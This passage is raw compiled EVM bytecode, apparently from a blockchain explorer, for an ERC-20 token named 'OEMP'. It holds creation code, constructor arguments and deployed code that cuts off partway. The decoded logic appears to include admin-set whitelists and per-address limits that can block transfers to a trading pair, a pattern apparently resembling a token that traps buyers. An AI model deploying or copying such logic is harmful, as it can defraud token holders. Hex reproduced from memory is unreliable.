fffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610be4565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610c4882610c02565b810181811067ffffffffffffffff82111715610c6757610c66610c12565b5b80604052505050565b5f610c79610be9565b9050610c858282610c3f565b919050565b5f67ffffffffffffffff821115610ca457610ca3610c12565b5b610cad82610c02565b9050602081019050919050565b8281835e5f83830152505050565b5f610cda610cd584610c8a565b610c70565b905082815260208101848484011115610cf657610cf5610bfe565b5b610d01848285610cba565b509392505050565b5f82601f830112610d1d57610d1c610bfa565b5b8151610d2d848260208601610cc8565b91505092915050565b5f819050919050565b610d4881610d36565b8114610d52575f80fd5b50565b5f81519050610d6381610d3f565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d9282610d69565b9050919050565b610da281610d88565b8114610dac575f80fd5b50565b5f81519050610dbd81610d99565b92915050565b5f805f8060808587031215610ddb57610dda610bf2565b5b5f85015167ffffffffffffffff811115610df857610df7610bf6565b5b610e0487828801610d09565b945050602085015167ffffffffffffffff811115610e2557610e24610bf6565b5b610e3187828801610d09565b9350506040610e4287828801610d55565b9250506060610e5387828801610daf565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ead57607f821691505b602082108103610ec057610ebf610e69565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302610f227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610ee7565b610f2c8683610ee7565b95508019841693508086168417925050509392505050565b5f819050919050565b5f610f67610f62610f5d84610d36565b610f44565b610d36565b9050919050565b5f819050919050565b610f8083610f4d565b610f94610f8c82610f6e565b848454610ef3565b825550505050565b5f90565b610fa8610f9c565b610fb3818484610f77565b505050565b5b81811015610fd657610fcb5f82610fa0565b600181019050610fb9565b5050565b601f82111561101b57610fec81610ec6565b610ff584610ed8565b81016020851015611004578190505b61101861101085610ed8565b830182610fb8565b50505b505050565b5f82821c905092915050565b5f61103b5f1984600802611020565b1980831691505092915050565b5f611053838361102c565b9150826002028217905092915050565b61106c82610e5f565b67ffffffffffffffff81111561108557611084610c12565b5b61108f8254610e96565b61109a828285610fda565b5f60209050601f8311600181146110cb575f84156110b9578287015190505b6110c38582611048565b86555061112a565b601f1984166110d986610ec6565b5f5b82811015611100578489015182556001820191506020850194506020810190506110db565b8683101561111d5784890151611119601f89168261102c565b8355505b6001600288020188555050505b505050505050565b5f6020828403121561114757611146610bf2565b5b5f61115484828501610daf565b91505092915050565b61116681610d88565b82525050565b5f60408201905061117f5f83018561115d565b61118c602083018461115d565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611215578086048111156111f1576111f0611193565b5b60018516156112005780820291505b808102905061120e856111c0565b94506111d5565b94509492505050565b5f8261122d57600190506112e8565b8161123a575f90506112e8565b8160018114611250576002811461125a57611289565b60019150506112e8565b60ff84111561126c5761126b611193565b5b8360020a91508482111561128357611282611193565b5b506112e8565b5060208310610133831016604e8410600b84101617156112be5782820a9050838111156112b9576112b8611193565b5b6112e8565b6112cb84848460016111cc565b925090508184048111156112e2576112e1611193565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61130582610d36565b9150611310836112ef565b925061133d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461121e565b905092915050565b5f61134f82610d36565b915061135a83610d36565b925082820261136881610d36565b9150828204841483151761137f5761137e611193565b5b5092915050565b5f6020820190506113995f83018461115d565b92915050565b5f6113a982610d36565b91506113b483610d36565b92508282019050808211156113cc576113cb611193565b5b92915050565b6113db81610d36565b82525050565b5f6060820190506113f45f83018661115d565b61140160208301856113d2565b61140e60408301846113d2565b949350505050565b5f6020820190506114295f8301846113d2565b92915050565b612b128061143c5f395ff3fe608060405234801561000f575f80fd5b506004361061018c575f3560e01c806370a08231116100dc578063a9059cbb11610095578063d547741f1161006f578063d547741f146104ba578063d58baf4d146104d6578063dd62ed3e14610506578063e7eb09f1146105365761018c565b8063a9059cbb14610452578063bee9a75214610482578063d2d94dea1461049e5761018c565b806370a082311461037c57806371049094146103ac57806375b238fc146103c857806391d14854146103e657806395d89b41146104165780639db50503146104345761018c565b80631f55915e116101495780632f2ff15d116101235780632f2ff15d14610308578063313ce5671461032457806336568abe14610342578063491eadbc1461035e5761018c565b80631f55915e1461027857806323b872dd146102a8578063248a9ca3146102d85761018c565b806301ffc9a714610190578063031b9429146101c057806306fdde03146101dc578063094365e0146101fa578063095ea7b31461022a57806318160ddd1461025a575b5f80fd5b6101aa60048036038101906101a59190611f0f565b610552565b6040516101b79190611f54565b60405180910390f35b6101da60048036038101906101d59190612136565b6105cb565b005b6101e4610670565b6040516101f19190612202565b60405180910390f35b610214600480360381019061020f9190612255565b610700565b6040516102219190611f54565b60405180910390f35b610244600480360381019061023f91906122a5565b6107a4565b6040516102519190611f54565b60405180910390f35b6102626107c6565b60405161026f91906122f2565b60405180910390f35b610292600480360381019061028d919061230b565b6107cf565b60405161029f91906122f2565b60405180910390f35b6102c260048036038101906102bd9190612336565b610865565b6040516102cf9190611f54565b60405180910390f35b6102f260048036038101906102ed9190612386565b610893565b6040516102ff91906123c0565b60405180910390f35b610322600480360381019061031d91906123d9565b6108b0565b005b61032c6108d2565b6040516103399190612432565b60405180910390f35b61035c600480360381019061035791906123d9565b6108da565b005b610366610955565b60405161037391906122f2565b60405180910390f35b6103966004803603810190610391919061230b565b61095b565b6040516103a391906122f2565b60405180910390f35b6103c660048036038101906103c191906123d9565b6109a1565b005b6103d0610a0f565b6040516103dd91906123c0565b60405180910390f35b61040060048036038101906103fb91906123d9565b610a15565b60405161040d9190611f54565b60405180910390f35b61041e610a79565b60405161042b9190612202565b60405180910390f35b61043c610b09565b60405161044991906123c0565b60405180910390f35b61046c600480360381019061046791906122a5565b610b2d565b6040516104799190611f54565b60405180910390f35b61049c6004803603810190610497919061244b565b610b4f565b005b6104b860048036038101906104b391906123d9565b610b71565b005b6104d460048036038101906104cf91906123d9565b610be0565b005b6104f060048036038101906104eb919061230b565b610c02565b6040516104fd91906122f2565b60405180910390f35b610520600480360381019061051b9190612489565b610c99565b60405161052d91906122f2565b60405180910390f35b610550600480360381019061054b919061258b565b610d1b565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105c457506105c382610e7d565b5b9050919050565b5f801b6105d781610ee6565b5f806105e284610efa565b80925081935050505f151581151503610627576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f821015801561065657507f4f50494f4e53540000000000000000000000000000000000000000000000000086145b15610668576106678583600161100b565b5b505050505050565b60606008805461067f90612624565b80601f01602080910402602001604051908101604052809291908181526020018280546106ab90612624565b80156106f65780601f106106cd576101008083540402835291602001916106f6565b820191905f5260205f20905b8154815290600101906020018083116106d957829003601f168201915b5050505050905090565b5f805f1b61070d81610ee6565b5f801b8503610798578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610751929190612663565b6020604051808303815f875af115801561076d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079191906126b4565b915061079c565b5f91505b509392505050565b5f806107ae61112d565b90506107bb818585611134565b600191505092915050565b5f600754905090565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461085e9190612739565b9050919050565b5f8061086f61112d565b905061087c858285611146565b6108878585856111d8565b60019150509392505050565b5f60045f8381526020019081526020015f20600101549050919050565b6108b982610893565b6108c281610ee6565b6108cc83836112c8565b50505050565b5f6012905090565b6108e261112d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610946576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61095082826113b2565b505050565b60035481565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b6109ad81610ee6565b5f801b8303610a0a575f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b5f801b81565b5f60045f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060098054610a8890612624565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab490612624565b8015610aff5780601f10610ad657610100808354040283529160200191610aff565b820191905f5260205f20905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b7f4f50494f4e53540000000000000000000000000000000000000000000000000081565b5f80610b3761112d565b9050610b448185856111d8565b600191505092915050565b5f801b610b5b81610ee6565b5f801b8303610b6c57816003819055505b505050565b5f801b610b7d81610ee6565b5f801b8303610bdb5760015f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b505050565b610be982610893565b610bf281610ee6565b610bfc83836113b2565b50505050565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c929190612739565b9050919050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f801b610d2781610ee6565b5f8490505f8173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d999190612793565b60ff1690505f5b85518160ff161015610e74575f82600a610dba91906128ed565b86610dc59190612937565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb888460ff1681518110610df957610df8612978565b5b6020026020010151836040518363ffffffff1660e01b8152600401610e1f929190612663565b6020604051808303815f875af1158015610e3b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e5f91906126b4565b50508080610e6c906129a5565b915050610da0565b50505050505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b610ef781610ef261112d565b61149c565b50565b5f805f5b8351811015610ffd575f6030858381518110610f1d57610f1c612978565b5b602001015160f81c60f81b60f81c610f3591906129cd565b60ff161080610f73575060096030858381518110610f5657610f55612978565b5b602001015160f81c60f81b60f81c610f6e91906129cd565b60ff16115b15610f84575f809250925050611006565b6001818551610f939190612a01565b610f9d9190612a01565b600a610fa991906128ed565b6030858381518110610fbe57610fbd612978565b5b602001015160f81c60f81b60f81c610fd691906129cd565b60ff16610fe39190612937565b83610fee9190612a34565b92508080600101915050610efe565b50816001915091505b915091565b80156110a857670de0b6b3a7640000826110259190612937565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611128565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f33905090565b61114183838360016114ed565b505050565b5f6111518484610c99565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146111d257818110156111c3578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016111ba93929190612a67565b60405180910390fd5b6111d184848484035f6114ed565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611248575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161123f9190612a9c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b8575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016112af9190612a9c565b60405180910390fd5b6112c38383836116c6565b505050565b5f6112d38383610a15565b6113a857600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061134561112d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506113ac565b5f90505b92915050565b5f6113bd8383610a15565b15611492575f60045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061142f61112d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050611496565b5f90505b92915050565b6114a68282610a15565b6114e95780826040517fe2517d3f0000000000000000000000000000000000000000000000000000000081526004016114e0929190612ab5565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361155d575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016115549190612a9c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115cd575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016115c49190612a9c565b60405180910390fd5b6115d784846118ed565b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156116c0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516116b791906122f2565b60405180910390a35b50505050565b6116d18383836119f8565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611721578060075f8282546117159190612a34565b925050819055506117f1565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156117ab578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016117a293929190612a67565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611838578060075f8282540392505081905550611883565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118e091906122f2565b60405180910390a3505050565b6032600354036119f457600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611959575061195782611a6b565b155b156119f3575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166119e857816040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016119df9190612a9c565b60405180910390fd5b6119f181611a8d565b505b5b5050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a5b57611a568282611a93565b611a66565b611a658382611b75565b5b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f919050565b5f81118015611aa75750611aa682611a6b565b5b15611b71575f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611b2e57505f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b7057816040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611b679190612a9c565b60405180910390fd5b5b5050565b611b815f801b83610a15565b611c7a575f808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611c79575f6003541115611c78575f81611be784611c7e565b611bf19190612a34565b90505f611bfd84611d02565b1115611c76575f811115611c7557611c1483611d02565b8111158015611c2257505f82115b15611c3757611c3283825f611d85565b611c74565b826040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611c6b9190612a9c565b60405180910390fd5b5b5b505b5b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b8015611e2357670de0b6b3a764000082611d9f9190612937565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ea4565b8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611eee81611eba565b8114611ef8575f80fd5b50565b5f81359050611f0981611ee5565b92915050565b5f60208284031215611f2457611f23611eb2565b5b5f611f3184828501611efb565b91505092915050565b5f8115159050919050565b611f4e81611f3a565b82525050565b5f602082019050611f675f830184611f45565b92915050565b5f819050919050565b611f7f81611f6d565b8114611f89575f80fd5b50565b5f81359050611f9a81611f76565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fc982611fa0565b9050919050565b611fd981611fbf565b8114611fe3575f80fd5b50565b5f81359050611ff481611fd0565b92915050565b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61204882612002565b810181811067ffffffffffffffff8211171561206757612066612012565b5b80604052505050565b5f612079611ea9565b9050612085828261203f565b919050565b5f67ffffffffffffffff8211156120a4576120a3612012565b5b6120ad82612002565b9050602081019050919050565b828183375f83830152505050565b5f6120da6120d58461208a565b612070565b9050828152602081018484840111156120f6576120f5611ffe565b5b6121018482856120ba565b509392505050565b5f82601f83011261211d5761211c611ffa565b5b813561212d8482602086016120c8565b91505092915050565b5f805f6060848603121561214d5761214c611eb2565b5b5f61215a86828701611f8c565b935050602061216b86828701611fe6565b925050604084013567ffffffffffffffff81111561218c5761218b611eb6565b5b61219886828701612109565b9150509250925092565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f6121d4826121a2565b6121de81856121ac565b93506121ee8185602086016121bc565b6121f781612002565b840191505092915050565b5f6020820190508181035f83015261221a81846121ca565b905092915050565b5f819050919050565b61223481612222565b811461223e575f80fd5b50565b5f8135905061224f8161222b565b92915050565b5f805f6060848603121561226c5761226b611eb2565b5b5f61227986828701611f8c565b935050602061228a86828701611fe6565b925050604061229b86828701612241565b9150509250925092565b5f80604083850312156122bb576122ba611eb2565b5b5f6122c885828601611fe6565b92505060206122d985828601612241565b9150509250929050565b6122ec81612222565b82525050565b5f6020820190506123055f8301846122e3565b92915050565b5f602082840312156123205761231f611eb2565b5b5f61232d84828501611fe6565b91505092915050565b5f805f6060848603121561234d5761234c611eb2565b5b5f61235a86828701611fe6565b935050602061236b86828701611fe6565b925050604061237c86828701612241565b9150509250925092565b5f6020828403121561239b5761239a611eb2565b5b5f6123a884828501611f8c565b91505092915050565b6123ba81611f6d565b82525050565b5f6020820190506123d35f8301846123b1565b92915050565b5f80604083850312156123ef576123ee611eb2565b5b5f6123fc85828601611f8c565b925050602061240d85828601611fe6565b9150509250929050565b5f60ff82169050919050565b61242c81612417565b82525050565b5f6020820190506124455f830184612423565b92915050565b5f806040838503121561246157612460611eb2565b5b5f61246e85828601611f8c565b925050602061247f85828601612241565b9150509250929050565b5f806040838503121561249f5761249e611eb2565b5b5f6124ac85828601611fe6565b92505060206124bd85828601611fe6565b9150509250929050565b5f67ffffffffffffffff8211156124e1576124e0612012565b5b602082029050602081019050919050565b5f80fd5b5f612508612503846124c7565b612070565b9050808382526020820190506020840283018581111561252b5761252a6124f2565b5b835b8181101561255457806125408882611fe6565b84526020840193505060208101905061252d565b5050509392505050565b5f82601f83011261257257612571611ffa565b5b81356125828482602086016124f6565b91505092915050565b5f805f606084860312156125a2576125a1611eb2565b5b5f6125af86828701611fe6565b935050602084013567ffffffffffffffff8111156125d0576125cf611eb6565b5b6125dc8682870161255e565b92505060406125ed86828701612241565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061263b57607f821691505b60208210810361264e5761264d6125f7565b5b50919050565b61265d81611fbf565b82525050565b5f6040820190506126765f830185612654565b61268360208301846122e3565b9392505050565b61269381611f3a565b811461269d575f80fd5b50565b5f815190506126ae8161268a565b92915050565b5f602082840312156126c9576126c8611eb2565b5b5f6126d6848285016126a0565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61274382612222565b915061274e83612222565b92508261275e5761275d6126df565b5b828204905092915050565b61277281612417565b811461277c575f80fd5b50565b5f8151905061278d81612769565b92915050565b5f602082840312156127a8576127a7611eb2565b5b5f6127b58482850161277f565b91505092915050565b5f8160011c9050919050565b5f808291508390505b6001851115612813578086048111156127ef576127ee61270c565b5b60018516156127fe5780820291505b808102905061280c856127be565b94506127d3565b94509492505050565b5f8261282b57600190506128e6565b81612838575f90506128e6565b816001811461284e576002811461285857612887565b60019150506128e6565b60ff84111561286a5761286961270c565b5b8360020a9150848211156128815761288061270c565b5b506128e6565b5060208310610133831016604e8410600b84101617156128bc5782820a9050838111156128b7576128b661270c565b5b6128e6565b6128c984848460016127ca565b925090508184048111156128e0576128df61270c565b5b81810290505b9392505050565b5f6128f782612222565b915061290283612222565b925061292f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281c565b905092915050565b5f61294182612222565b915061294c83612222565b925082820261295a81612222565b915082820484148315176129715761297061270c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129af82612417565b915060ff82036129c2576129c161270c565b5b600182019050919050565b5f6129d782612417565b91506129e283612417565b9250828203905060ff8111156129fb576129fa61270c565b5b92915050565b5f612a0b82612222565b9150612a1683612222565b9250828203905081811115612a2e57612a2d61270c565b5b92915050565b5f612a3e82612222565b9150612a4983612222565b9250828201905080821115612a6157612a6061270c565b5b92915050565b5f606082019050612a7a5f830186612654565b612a8760208301856122e3565b612a9460408301846122e3565b949350505050565b5f602082019050612aaf5f830184612654565b92915050565b5f604082019050612ac85f830185612654565b612ad560208301846123b1565b939250505056fea264697066735822122087ac0c6ac44968bab86d66ee9c644850e8c6ae4c60988eafc004ef182622a80f64736f6c634300081a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000007d70fe31ef3ba80c877e18f491ddd7b210c3669500000000000000000000000000000000000000000000000000000000000000044f454d500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044f454d5000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061018c575f3560e01c806370a08231116100dc578063a9059cbb11610095578063d547741f1161006f578063d547741f146104ba578063d58baf4d146104d6578063dd62ed3e14610506578063e7eb09f1146105365761018c565b8063a9059cbb14610452578063bee9a75214610482578063d2d94dea1461049e5761018c565b806370a082311461037c57806371049094146103ac57806375b238fc146103c857806391d14854146103e657806395d89b41146104165780639db50503146104345761018c565b80631f55915e116101495780632f2ff15d116101235780632f2ff15d14610308578063313ce5671461032457806336568abe14610342578063491eadbc1461035e5761018c565b80631f55915e1461027857806323b872dd146102a8578063248a9ca3146102d85761018c565b806301ffc9a714610190578063031b9429146101c057806306fdde03146101dc578063094365e0146101fa578063095ea7b31461022a57806318160ddd1461025a575b5f80fd5b6101aa60048036038101906101a59190611f0f565b610552565b6040516101b79190611f54565b60405180910390f35b6101da60048036038101906101d59190612136565b6105cb565b005b6101e4610670565b6040516101f19190612202565b60405180910390f35b610214600480360381019061020f9190612255565b610700565b6040516102219190611f54565b60405180910390f35b610244600480360381019061023f91906122a5565b6107a4565b6040516102519190611f54565b60405180910390f35b6102626107c6565b60405161026f91906122f2565b60405180910390f35b610292600480360381019061028d919061230b565b6107cf565b60405161029f91906122f2565b60405180910390f35b6102c260048036038101906102bd9190612336565b610865565b6040516102cf9190611f54565b60405180910390f35b6102f260048036038101906102ed9190612386565b610893565b6040516102ff91906123c0565b60405180910390f35b610322600480360381019061031d91906123d9565b6108b0565b005b61032c6108d2565b6040516103399190612432565b60405180910390f35b61035c600480360381019061035791906123d9565b6108da565b005b610366610955565b60405161037391906122f2565b60405180910390f35b6103966004803603810190610391919061230b565b61095b565b6040516103a391906122f2565b60405180910390f35b6103c660048036038101906103c191906123d9565b6109a1565b005b6103d0610a0f565b6040516103dd91906123c0565b60405180910390f35b61040060048036038101906103fb91906123d9565b610a15565b60405161040d9190611f54565b60405180910390f35b61041e610a79565b60405161042b9190612202565b60405180910390f35b61043c610b09565b60405161044991906123c0565b60405180910390f35b61046c600480360381019061046791906122a5565b610b2d565b6040516104799190611f54565b60405180910390f35b61049c6004803603810190610497919061244b565b610b4f565b005b6104b860048036038101906104b391906123d9565b610b71565b005b6104d460048036038101906104cf91906123d9565b610be0565b005b6104f060048036038101906104eb919061230b565b610c02565b6040516104fd91906122f2565b60405180910390f35b610520600480360381019061051b9190612489565b610c99565b60405161052d91906122f2565b60405180910390f35b610550600480360381019061054b919061258b565b610d1b565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806105c457506105c382610e7d565b5b9050919050565b5f801b6105d781610ee6565b5f806105e284610efa565b80925081935050505f151581151503610627576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f821015801561065657507f4f50494f4e53540000000000000000000000000000000000000000000000000086145b15610668576106678583600161100b565b5b505050505050565b60606008805461067f90612624565b80601f01602080910402602001604051908101604052809291908181526020018280546106ab90612624565b80156106f65780601f106106cd576101008083540402835291602001916106f6565b820191905f5260205f20905b8154815290600101906020018083116106d957829003601f168201915b5050505050905090565b5f805f1b61070d81610ee6565b5f801b8503610798578373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401610751929190612663565b6020604051808303815f875af115801561076d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079191906126b4565b915061079c565b5f91505b509392505050565b5f806107ae61112d565b90506107bb818585611134565b600191505092915050565b5f600754905090565b5f670de0b6b3a764000060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461085e9190612739565b9050919050565b5f8061086f61112d565b905061087c858285611146565b6108878585856111d8565b60019150509392505050565b5f60045f8381526020019081526020015f20600101549050919050565b6108b982610893565b6108c281610ee6565b6108cc83836112c8565b50505050565b5f6012905090565b6108e261112d565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610946576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61095082826113b2565b505050565b60035481565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f801b6109ad81610ee6565b5f801b8303610a0a575f805f8473fffffffffffffffffffffffffffffffffffff